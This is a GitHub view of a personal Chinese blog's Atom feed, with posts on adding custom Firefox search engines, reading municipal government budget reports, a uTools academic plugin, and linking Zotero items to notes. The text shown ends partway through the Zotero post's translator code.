Repository navigation
Expand file tree
/
Copy pathatom.xml
More file actions
499 lines (261 loc) · 245 KB
/
Copy pathatom.xml
File metadata and controls
499 lines (261 loc) · 245 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Ciaran Chen 的博客</title>
<subtitle>随便写写。</subtitle>
<link href="http://blog.ciaran.cn/atom.xml" rel="self"/>
<link href="http://blog.ciaran.cn/"/>
<updated>2024-05-12T03:41:26.912Z</updated>
<id>http://blog.ciaran.cn/</id>
<author>
<name>Ciaran Chen</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>在Firefox中添加自定义搜索引擎</title>
<link href="http://blog.ciaran.cn/2024/05/12/%E5%9C%A8Firefox%E4%B8%AD%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E/"/>
<id>http://blog.ciaran.cn/2024/05/12/%E5%9C%A8Firefox%E4%B8%AD%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E/</id>
<published>2024-05-12T03:32:12.000Z</published>
<updated>2024-05-12T03:41:26.912Z</updated>
<content type="html"><![CDATA[<p>不作配置的话,在Firefox的搜索引擎设置<a href="about:preferences#search">about:preferences#search</a>中,无法直接添加自定义的搜索引擎。</p><p>搜索Firefox的文档,会发现它提示你需要点击寻找更多搜索引擎。但是这个按钮只会跳转到Firefox的扩展商店。</p><span id="more"></span><p>我当前使用的Firefox版本为125.0.3。</p><h2 id="方法1-在高级首选项中开启功能"><a href="#方法1-在高级首选项中开启功能" class="headerlink" title="方法1 在高级首选项中开启功能"></a>方法1 在高级首选项中开启功能</h2><ol><li>在地址栏输入 <code>about:config</code> 打开Firefox的高级首选项。初次打开会提示“三思而后行”,选择接受风险。</li><li>在搜索栏中搜索 <code>browser.urlbar.update2.engineAliasRefresh</code>。</li><li>选择 “布尔值”,点击栏目右侧的加号。此项的值将显示为True。</li><li>此时可以在 搜索引擎设置<a href="about:preferences#search">about:preferences#search</a> 中,添加自定义的搜索引擎。</li></ol><h2 id="方法2-使用插件添加"><a href="#方法2-使用插件添加" class="headerlink" title="方法2 使用插件添加"></a>方法2 使用插件添加</h2><p>使用<a href="https://addons.mozilla.org/zh-CN/firefox/addon/add-custom-search-engine/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search">Add custom search engine 插件</a>。可以添加包含搜索建议的搜索引擎。详见<a href="https://developer.mozilla.org/en-US/docs/Web/OpenSearch">OpenSearch文档</a>。</p><p><br>此外我希望分享自定义搜索引擎设置。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">github:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">github</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://github.com/search?q=%s&type=repositories</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@github</span></span><br><span class="line"></span><br><span class="line"><span class="attr">BiliBili:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">BiliBili</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://search.bilibili.com/all?keyword=%s</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@bilibili</span></span><br><span class="line"></span><br><span class="line"><span class="string">谷歌翻译:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">translate</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://translate.google.com/?sl=auto&tl=auto&text=%s&op=translate</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@translate</span></span><br><span class="line"></span><br><span class="line"><span class="string">秘塔搜索:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">秘塔AI搜索</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://metaso.cn/?q=%s</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@meta</span></span><br><span class="line"></span><br><span class="line"><span class="attr">scoop.sh:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">scoop.sh</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://scoop.sh/#/apps?q=%s</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 学术搜索</span></span><br><span class="line"><span class="attr">cnki:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">中国知网</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://kns.cnki.net/kns8s/defaultresult/index?kw=%s</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@cnki</span></span><br><span class="line"></span><br><span class="line"><span class="attr">google scholar:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">谷歌学术</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://scholar.google.com/scholar?q=%s</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@scholar</span></span><br><span class="line"></span><br><span class="line"><span class="attr">scopus:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">Scopus</span></span><br><span class="line"> <span class="attr">url:</span> <span class="string">https://www.scopus.com/results/results.uri?sort=plf-f&src=s&s=TITLE-ABS-KEY(%s)&origin=searchbasic&editSaveSearch=&yearFrom=Before</span> <span class="number">1960</span><span class="string">&yearTo=Present</span></span><br><span class="line"> <span class="attr">alias:</span> <span class="string">@scopus</span></span><br></pre></td></tr></table></figure><p></p>]]></content>
<summary type="html"><p>不作配置的话,在Firefox的搜索引擎设置<a href="about:preferences#search">about:preferences#search</a>中,无法直接添加自定义的搜索引擎。</p>
<p>搜索Firefox的文档,会发现它提示你需要点击寻找更多搜索引擎。但是这个按钮只会跳转到Firefox的扩展商店。</p></summary>
</entry>
<entry>
<title>政府财报解读(1)</title>
<link href="http://blog.ciaran.cn/2024/03/29/%E6%94%BF%E5%BA%9C%E8%B4%A2%E6%8A%A5%E8%A7%A3%E8%AF%BB(1)/"/>
<id>http://blog.ciaran.cn/2024/03/29/%E6%94%BF%E5%BA%9C%E8%B4%A2%E6%8A%A5%E8%A7%A3%E8%AF%BB(1)/</id>
<published>2024-03-29T12:10:41.000Z</published>
<updated>2024-03-29T12:13:21.959Z</updated>
<content type="html"><![CDATA[<p> 在政务公开的大背景下,我国政府的财报大部分在网络上是可查的。以广州市为例,其<a href="https://www.gz.gov.cn/zwgk/zdly/czzj/czyjs/ys/index.html">财报</a>包括预算及决算便可以在指定的官方渠道轻松查阅。深入分析这些财报,无疑能够揭示出诸多有价值的信息,为公众了解政府财务状况和政务运营情况提供了宝贵的窗口。</p><p> 然而,对于大多数普通人而言,政府的财报往往如同一本深奥的经书,其中的条目纷繁复杂,意义难以捉摸。为了帮助大家更好地解读政府财报,深入了解政府的政务工作,本文旨在深入探究政府财报的构成部分,并解析其中部分条目所蕴含的意义。希望通过这样的努力,能让更多人能够读懂财报,从而更全面地认识和理解政府的运作与决策。</p><span id="more"></span><p> 本文将参考<a href="https://www.gz.gov.cn/zwgk/zdly/czzj/czyjs/ys/content/post_9487116.html">广州市2024政府财政报告</a>、<a href="https://cdcz.chengdu.gov.cn/cdsczj/c116719/2024-02/07/content_8d3b9613f00746b8a8561ae81274e301.shtml">成都市2024政府财政报告</a>作为省会级城市的例子,参考<a href="http://www.yangjiang.gov.cn/zwgk/zdlyxxgk/czzj/czyjs/czys/content/post_765463.html">广东省阳江市2024政府财政报告</a>作为四线城市的例子。我只希望了解财政之中各个部分的比例,因此都只对预算部分进行了比较。</p><p> 需要事先声明,我非专业人士,对概念的解读可能有失偏颇。如有错误,还请读者指正。</p><h2 id="报告及报表结构"><a href="#报告及报表结构" class="headerlink" title="报告及报表结构"></a>报告及报表结构</h2><p> 财政预算及决算报告是需要在市人民代表大会会议上进行报告的。报告中介绍了去年财政预算的执行情况 以及 新的一年财政预算草案情况,在草案情况中会介绍预算设置的依据。</p><p> 接着是给出了具体的报表,我们主要关注预算报表的结构。目前我国各级政府预算由一般公共预算、政府性基金预算、国有资本经营预算、社会保险基金预算共同构成。在参考的财政报告中,都给出了地方政府债务情况的报告,因此也算入其中一部分。名词解释如下:</p><ul><li><p><strong>一般公共预算</strong></p><p>指的是政府在一个财政年度内,基于国家政治权力和社会管理者的角色,通过法定程序编制和执行的,以税收和其他财政收入为主体,用于满足公共服务、社会保障、国家行政运行、国家安全、社会发展等方面支出需求的财政收支计划。</p><ul><li><strong>收入</strong>:主要包括各种税收收入(如个人所得税、企业所得税、增值税等)以及其他非税收入(如国有资产收益、行政性收费、罚没收入等)。</li><li><strong>支出</strong>:覆盖范围广泛,包含一般性公共支出(如教育、卫生、社会保障、公共安全等基本公共服务)和集中性公共支出(如国防、外交、中央转移支付给地方政府的款项等)。</li></ul></li><li><p><strong>政府性基金预算</strong></p><p>是指政府为了支持特定的政策目标或完成特定的社会公共事业任务而设立的专项基金收支计划。</p><p>政府性基金预算的资金主要来源于特定的、有专项用途的税费、收费、出让土地收入、发行彩票所得等非税收入。</p><p>政府性基金预算中的收入和支出均具有明确的指向性,即“专款专用”。每一笔基金都有其特定的目的和使用范围,不能随意挪作他用。</p></li><li><p><strong>国有资本经营预算</strong>:针对国有企业(包括国有独资公司、国有控股公司等)的国有资本及其运营收益所制定的一种特殊的财政预算。</p></li><li><p><strong>社会保险基金预算</strong>:涵盖养老保险、医疗保险、失业保险、工伤保险和生育保险等各项社会保险基金的年度收支计划。</p></li><li><p><strong>地方政府债务情况</strong></p><p>是指地方政府为筹集资金建设公共工程、提供公共服务或者进行其他政府活动而对外发生的、承诺在一定期限内偿还本金和利息的债务。</p><p>这种债务主要表现为地方政府发行的政府债券,分为两种类型:</p><ul><li>一般债券:为没有直接经济回报的公益性项目而发行,其偿还资金主要来源于地方政府的一般公共预算收入。</li><li>专项债券:为具有一定收益的公益性项目而发行,其偿还资金来源于项目对应的政府性基金收入或专项收入。</li></ul></li></ul><p> 参考:<a href="http://www.npc.gov.cn/zgrdw/npc/lfzt/2014/2000-12/05/content_1875785.htm">中华人民共和国预算法</a></p><h2 id="一般公共预算收入"><a href="#一般公共预算收入" class="headerlink" title="一般公共预算收入"></a>一般公共预算收入</h2><p> 一般公共预算收入中,可分为本级一般公共预算收入与转移性收入两个部分。本级一般公共预算收入又包括税收收入和非税收入。</p><h3 id="税收收入"><a href="#税收收入" class="headerlink" title="税收收入"></a>税收收入</h3><p> 下面列出一般公共预算收入中<strong>税收收入</strong>的主要项目,并对其中一些条目进行解释。</p><table><thead><tr><th>数据来源</th><th>税收收入</th><th>最大占比项1</th><th>数值</th><th>最大占比项2</th><th>数值</th><th>最大占比项3</th><th>数值</th></tr></thead><tbody><tr><td>2024广州市</td><td>6,895,000.00</td><td>增值税</td><td>1,787,000(25.92%)</td><td>契税</td><td>1,420,000(20.59%)</td><td>个人所得税</td><td>957,500(13.89%)</td></tr><tr><td>2024成都市</td><td>15,362,959.00</td><td>增值税</td><td>4,645,274(30.23%)</td><td>土地增值税</td><td>2,637,675(17.17%)</td><td>企业所得税</td><td>2,274,410(14.80%)</td></tr><tr><td>2024阳江市</td><td>277,901.00</td><td>增值税</td><td>49,022(29.96%)</td><td>契税</td><td>24,210(14.79%)</td><td>房产税</td><td>14,442(8.83%)</td></tr></tbody></table><blockquote><p>成都政府的的税收收入确实高于广州,这与我以前的认知还是差别很大。</p></blockquote><p> 可见,基本税收收入的最大项都是增值税,占比都在30%左右。</p><p> 下面是我对部分词搜索解释后的结果。</p><ul><li><p>增值税</p><p>增值税(Value-added Tax)是一种广泛应用于全球多个国家和地区,尤其是欧洲联盟成员国和中国的间接税。增值税以商品和服务在生产和流通各环节的增值额作为计税依据,通过环环相扣的发票机制,逐环节由各个环节的企业代为缴纳,并允许企业在其购进商品或接受服务时获得进项税抵扣,<strong>最终由最终消费者负担。</strong></p><p>由于增值税覆盖面广,涵盖了几乎所有的商品和服务交易,因此,增值税的征收总额可以从一定程度上反映一个国家或地区的经济活跃程度、市场规模和消费需求。</p></li><li><p>契税</p><p>契税是对在土地、房屋等不动产所有权发生转移变动时,如买卖、赠与、交换等情况下,向新业主或产权承受人一次性征收的税种。主要目的是保障产权转移的合法性,并为政府带来财政收入。纳税人为取得不动产产权的人,税率一般是根据不动产交易价格的比例确定。</p><p>成都的第四位大占比项为契税,占比为 11.81%。</p></li><li><p>土地增值税</p><p>土地增值税是对转让国有土地使用权、地上建筑物及其他附着物,并从中取得增值收益的单位和个人征收的税种。</p><p>主要目的在于调节土地增值收益,防止投机炒卖土地和房产行为,促进房地产市场的健康发展。只有在土地或房产出售时才会产生,按增值额的大小适用不同档次的累进税率。</p><blockquote><p>为什么成都的土地增值税占比如此高?我没有在成都生活过,仅仅以成都为对照的例子。</p></blockquote></li><li><p>城镇土地使用税</p><p>城镇土地使用税是对占用城镇土地的单位和个人,以其实际占用的土地面积为计税依据,按规定的单位税额逐年或半年征收的税种。</p><p>目的是合理利用城镇土地资源,调节土地级差收入,提升土地使用效益。</p><p>纳税人为占有并使用城镇土地的单位和个人,不论是否拥有土地使用权,只要实际使用就必须缴纳。</p></li><li><p>房产税</p><p>房产税是对拥有房产的单位和个人在其持有房产期间,按照房产的计税余值或租金收入定期征收的一种税。、</p><blockquote><p>辨析:契税关注的是产权转移的过程,房产税侧重于房产持有阶段的财富分配调节,土地增值税关注的是土地及地上建筑在转让时的增值部分,而城镇土地使用税则关注的是对城镇土地持续占用的行为。</p></blockquote></li><li><p>资源税: 资源税是对在中国境内开采应税矿产品和生产盐的单位和个人,就其开采或生产的应税资源数量或价值征收的一种税种。征税对象包括原油、天然气、煤炭、金属矿产(如黑色金属矿原矿、有色金属矿原矿等)、非金属矿产、水气矿产以及盐等。</p></li></ul><p> 需注意的是,地方政府的增值税、所得税收入并不是所征增值税、所得税的全部,而是与中央级次按一定比例划分后的结果。</p><p> </p><h3 id="非税收入"><a href="#非税收入" class="headerlink" title="非税收入"></a>非税收入</h3><p> 下面列出一般公共预算收入中<strong>非税收入</strong>的主要项目,并对其中一些条目进行解释。</p><table><thead><tr><th>数据来源</th><th>非税收入</th><th>最大占比项1</th><th>数值</th><th>最大占比项2</th><th>数值</th><th>最大占比项3</th><th>数值</th></tr></thead><tbody><tr><td>2024广州市</td><td>2,680,000.00</td><td>专项收入</td><td>1,128,000(42.09%)</td><td>政府住房基金收入</td><td>480,000(17.91%)</td><td>国有资源(资产)有偿使用收入<br /></td><td>428,000(15.97%)</td></tr><tr><td>2024成都市</td><td>4,989,093.00</td><td>国有资源(资产)有偿使用收入</td><td>2,204,054(44.17%)</td><td>专项收入</td><td>1,171,244(23.48%)</td><td>行政事业性收费收入</td><td>605,883(11.99%)</td></tr><tr><td>2024阳江市</td><td>114,292.00</td><td>罚没收入<br /></td><td>45,974(40.23%)</td><td>国有资源(资产)有偿使用收入</td><td>38,600(33.77%)<br /></td><td>行政事业性收费收入</td><td>14,395(12.59%)</td></tr></tbody></table><blockquote><p>这个部分的组成就是各有千秋了</p></blockquote><p> </p><p> 名词解释</p><ul><li><p>国有资源(资产)有偿使用收入</p><p>是指国家作为所有者,通过有偿转让国有资源(包括自然资源和国有资产)的使用权而取得的财政收入。内容包括但不限于:海域使用金收入、场地和矿区使用费收入、特种矿产品出售收入、专项储备物资销售收入等。</p></li><li><p>专项收入</p><p>政府一般公共预算中的非税收入专项收入,是指政府为特定目的或特定项目筹集的资金,这部分收入具有很强的针对性和专用性,往往与特定的政策目标、工程项目或公共服务项目直接关联。</p><p>政府性基金收入与非税收入中的专项收入虽然都具有专项用途和专款专用的特点,但是政府性基金收入往往面向全国性或区域性的大型项目,而专项收入的涵盖面可能更小,更多的是针对具体业务或行政管理活动。</p><blockquote><p>广州的专项收入为什么高?具体是哪些专项?这个也是不清楚的。</p></blockquote></li><li><p>行政事业性收费收入</p><p>行政事业性收费收入是指国家机关、事业单位、代行政府职能的社会团体及其他组织,在履行其行政管理和提供特定服务过程中,根据国家法律、行政法规、地方性法规等规定,按照非盈利原则,向接受服务的公民、法人和其他组织收取的费用。</p><p>其中,行政性收费与政府具体的行政管理行为相关,比如证照办理费、行政许可费等;事业性收费则与提供公共服务或产品的单位有关,比如教育、医疗、科研等领域的收费。</p></li></ul><p> </p><p> </p><h3 id="转移性收入"><a href="#转移性收入" class="headerlink" title="转移性收入"></a>转移性收入</h3><p> 财政转移支付是以各级政府间所存在的财政能力差异为基础,以实现各地公共服务水平的均等化为宗旨,实行的一种财政资金转移或财政平衡制度。一般公共预算中的转移性收入反映政府间的税收返还、转移支付以及不同性质资金之间的调拨收入。</p><p> 这个表格显然广东地区的表格形式与成都的表格形式完全不同,且不同地方的差别很大,没有放在一起进行对比的必要;因此仅做名词解释。</p><p> </p><p> 名词解释</p><ul><li><p>返还性收入</p><p>是指政府在税收收入分配中,按照一定规则和比例,将中央政府征收的税收部分返回给地方政府或者下级政府的收入。这种返回机制通常基于财政均衡、地区间协调发展或者政策激励等多种因素考量。</p><p>具体来说,返回性收入主要包括以下几类:</p><ol><li>税收返还收入:中央政府将一部分已经征收的增值税、消费税等共享税种收入按既定比例返还给地方政府,以弥补地方财政缺口或者支持地方经济发展。</li><li>基数返还收入:在实行分税制财政管理体制下,中央政府对地方政府原来依靠这些税种形成的收入基数给予一定比例的返还,以确保地方财政的基本稳定和公共服务的正常供给。</li><li>税收优惠政策带来的返还收入:比如对符合条件的企业或项目实行税收减免政策后,政府按减免额度以某种形式将部分税款返回给企业或下一级财政。</li><li>其他形式的财政转移支付,如因政策调整导致的多征收部分退还给纳税人的情况,也可视为一种返回性收入。</li></ol><p>总之,返回性收入是财政转移支付体系中的一种重要形式,旨在通过财政资源的再分配,实现地区间财力的均衡和公共服务水平的相对均等。</p></li><li><p>一般性转移支付</p><p>是指为均衡地区间的人均财力,由上级政府预算安排、地方政府统筹使用的转移资金。主要包括均衡性转移支付、重点生态功能区转移支付、县级基本财力保障奖补资金、产粮大县奖励资金等。</p></li><li><p>均衡性转移支付</p><p>是一般性转移支付的重要组成部分,由上级政府根据下级政府有关经济指标和政策,通过规范的测算标准收入和标准支出后,对标准收入小于标准支出的下级政府给予的补助。补助资金可根据实际情况和有关政策要求自主安排使用。</p></li><li><p>上解收入</p><p>指根据财政体制规定,由下级财政向上级财政上缴的收入。一般指财政体制上解,以及企业隶属关系变化、预算执行过程中利益分配关系调整、专项扣款等形式的上解。下级财政上解收入是上级财政总收入的来源,但不属于上级预算收入。</p></li><li><p>预算稳定调节基金</p><p>预算稳定调节基金是各级财政为应对经济波动、实现财政收支平衡、增强财政抗风险能力和预算稳定性而设立的具有储备性质的专项基金。这类基金主要来源于财政超收收入(即实际收入超出预算收入的部分)和预算结余资金,以及可能的其它财政收入来源。</p></li></ul><p> </p><p> (未完待续)</p>]]></content>
<summary type="html"><p> 在政务公开的大背景下,我国政府的财报大部分在网络上是可查的。以广州市为例,其<a href="https://www.gz.gov.cn/zwgk/zdly/czzj/czyjs/ys/index.html">财报</a>包括预算及决算便可以在指定的官方渠道轻松查阅。深入分析这些财报,无疑能够揭示出诸多有价值的信息,为公众了解政府财务状况和政务运营情况提供了宝贵的窗口。</p>
<p> 然而,对于大多数普通人而言,政府的财报往往如同一本深奥的经书,其中的条目纷繁复杂,意义难以捉摸。为了帮助大家更好地解读政府财报,深入了解政府的政务工作,本文旨在深入探究政府财报的构成部分,并解析其中部分条目所蕴含的意义。希望通过这样的努力,能让更多人能够读懂财报,从而更全面地认识和理解政府的运作与决策。</p></summary>
<category term="扯淡" scheme="http://blog.ciaran.cn/categories/%E6%89%AF%E6%B7%A1/"/>
</entry>
<entry>
<title>utools学术小工具介绍</title>
<link href="http://blog.ciaran.cn/2024/01/16/utools%E5%AD%A6%E6%9C%AF%E5%B0%8F%E5%B7%A5%E5%85%B7%E4%BB%8B%E7%BB%8D/"/>
<id>http://blog.ciaran.cn/2024/01/16/utools%E5%AD%A6%E6%9C%AF%E5%B0%8F%E5%B7%A5%E5%85%B7%E4%BB%8B%E7%BB%8D/</id>
<published>2024-01-16T08:28:08.000Z</published>
<updated>2024-01-16T09:01:13.029Z</updated>
<content type="html"><![CDATA[<p>起因是因为我在看论文的时候,经常需要查询这篇文章发表在的期刊是什么等级的。我希望有一个工具,可以在我复制期刊名的时候,迅速地搜索并告知我这个期刊的影响因子,在JCR以及中科院的级别。我会使用utools作为快速启动器。于是在utools的基础上,我写了一个插件<a href="https://github.com/ciaranchen/utools-thesis-tools">utools-thesis-tools</a>,实现了这个功能。</p><p>后来我又在这个功能的基础上补充了其它一些小工具(包括查CCF会议以及替换从pdf拷贝的文本)。这个插件得到了不少人的评论和支持,也有同学帮我重构了代码。它还有很多不完善的地方,但是希望这个工具可以帮助你更好的查看论文。</p><span id="more"></span><p>安装utools,然后在utools的插件中心搜索thesis-tools,就可以找到这个插件了。</p><p>输入关键词,可以使用以下功能。</p><h2 id="Features-功能"><a href="#Features-功能" class="headerlink" title="Features 功能"></a>Features 功能</h2><h3 id="Letpub"><a href="#Letpub" class="headerlink" title="Letpub"></a>Letpub</h3><p>在Letpub网站查询期刊的中科院分区情况。使用方法:</p><ul><li>输入关键字 letpub 或 lp。</li></ul><h3 id="CCF查询"><a href="#CCF查询" class="headerlink" title="CCF查询"></a>CCF查询</h3><p>查询期刊/会议在CCF 2022年发布的目录中的分区情况。使用方法:</p><ul><li>输入关键字 ccf 查询期刊/会议在《中国计算机学会推荐国际学术会议和期刊目录(2022年)》的等级。</li><li>输入关键字 ccfc 或 ccfz 查询期刊在《计算领域高质量科技期刊分级目录(2022年)》的等级。</li></ul><h3 id="PDF换行替换"><a href="#PDF换行替换" class="headerlink" title="PDF换行替换"></a>PDF换行替换</h3><p>从pdf中复制时,常常句子被换行分开了。这个功能可以替换全半角、换行;在英文的情况下,替换连字符。使用方法:</p><ul><li>从pdf正常复制,呼出uTools菜单。</li><li>选择”替换pdf换行”。</li><li>正常粘贴。</li></ul><h3 id="解析引用格式"><a href="#解析引用格式" class="headerlink" title="解析引用格式"></a>解析引用格式</h3><p>基于正则表达式拆解论文的引用格式。可能不准确,但是在大多数情况下(从谷歌学术中拷贝的引用)都能用。使用方法:</p><ul><li>复制论文的引用,呼出uTools菜单。</li><li>如有识别:“APA引用”、“MLA引用”、“GB/T 7714引用”;</li><li>如无识别:“未知引用”。</li><li>选择内容以复制。</li></ul><h3 id="Zotero查询"><a href="#Zotero查询" class="headerlink" title="Zotero查询"></a>Zotero查询</h3><p>查询Zotero数据库中的文献资料,匹配标题。使用方法:</p><ul><li>在uTools中使用关键字 zotero 或 zs。</li></ul>]]></content>
<summary type="html"><p>起因是因为我在看论文的时候,经常需要查询这篇文章发表在的期刊是什么等级的。我希望有一个工具,可以在我复制期刊名的时候,迅速地搜索并告知我这个期刊的影响因子,在JCR以及中科院的级别。我会使用utools作为快速启动器。于是在utools的基础上,我写了一个插件<a href="https://github.com/ciaranchen/utools-thesis-tools">utools-thesis-tools</a>,实现了这个功能。</p>
<p>后来我又在这个功能的基础上补充了其它一些小工具(包括查CCF会议以及替换从pdf拷贝的文本)。这个插件得到了不少人的评论和支持,也有同学帮我重构了代码。它还有很多不完善的地方,但是希望这个工具可以帮助你更好的查看论文。</p></summary>
<category term="学术" scheme="http://blog.ciaran.cn/categories/%E5%AD%A6%E6%9C%AF/"/>
<category term="utools" scheme="http://blog.ciaran.cn/tags/utools/"/>
</entry>
<entry>
<title>快速复制Zotero项目的链接</title>
<link href="http://blog.ciaran.cn/2024/01/15/%E5%BF%AB%E9%80%9F%E5%A4%8D%E5%88%B6Zotero%E9%A1%B9%E7%9B%AE%E7%9A%84%E9%93%BE%E6%8E%A5/"/>
<id>http://blog.ciaran.cn/2024/01/15/%E5%BF%AB%E9%80%9F%E5%A4%8D%E5%88%B6Zotero%E9%A1%B9%E7%9B%AE%E7%9A%84%E9%93%BE%E6%8E%A5/</id>
<published>2024-01-15T13:12:14.000Z</published>
<updated>2024-01-16T06:38:43.155Z</updated>
<content type="html"><![CDATA[<p> 我使用Zotero来管理我的论文,然而我通过思源笔记来编写论文的阅读笔记。然后就存在一个问题是二者之间的关系难以对应,思源笔记倒是支持点击复制笔记块的超链接,能导出以下形式的超链接。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">siyuan://blocks/<block-id></span><br></pre></td></tr></table></figure><p> <img src="/images/image-20240115195250-si8f5pe.png" alt="image"></p><p> 点击后可以通过URL Scheme的形式打开对应的思源笔记块。在Zotero中,也支持用URL Scheme的格式打开文件,但是打开需要指定对应项目的ID,这个ID是普通用户难以获取的。</p><span id="more"></span><h2 id="现有方案"><a href="#现有方案" class="headerlink" title="现有方案"></a>现有方案</h2><p> 为了解决上面的问题,我找了不少其它方法。</p><p> 其中比较成熟的是插件 <a href="https://github.com/argenos/zotero-mdnotes">Mdnotes</a>。它能导出一个根据模版文件生成的Markdown文件,其中默认包含了标题、摘要、超链接等等。</p><p> 或者它能提供一个右键的选项,导出一个Markdown文件,在Markdown文件中仅包含一句话,就是项目的标题和项目的Zotero超链接。</p><p> 但是,不,我不需要一个额外的新的Markdown文件,我只是需要一段包含超链接的文本即可。</p><h2 id="Markdown-ZotSelect"><a href="#Markdown-ZotSelect" class="headerlink" title="Markdown ZotSelect"></a>Markdown ZotSelect</h2><p> 最后选择是自己写了一种导出文献引用的格式,代码如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"><span class="string">"translatorID"</span>: <span class="string">"2de2b1a5-5725-494c-9224-5781cdf9b7ef"</span>,</span><br><span class="line"><span class="string">"label"</span>: <span class="string">"Markdown ZotSelect"</span>,</span><br><span class="line"><span class="string">"creator"</span>: <span class="string">"ciaranchen"</span>,</span><br><span class="line"><span class="string">"target"</span>: <span class="string">"md"</span>,</span><br><span class="line"><span class="string">"minVersion"</span>: <span class="string">"3.0"</span>,</span><br><span class="line"><span class="string">"maxVersion"</span>: <span class="string">""</span>,</span><br><span class="line"><span class="string">"priority"</span>: <span class="number">100</span>,</span><br><span class="line"><span class="string">"inRepository"</span>: <span class="literal">true</span>,</span><br><span class="line"><span class="string">"translatorType"</span>: <span class="number">2</span>,</span><br><span class="line"><span class="string">"lastUpdated"</span>: <span class="string">"2021-09-21 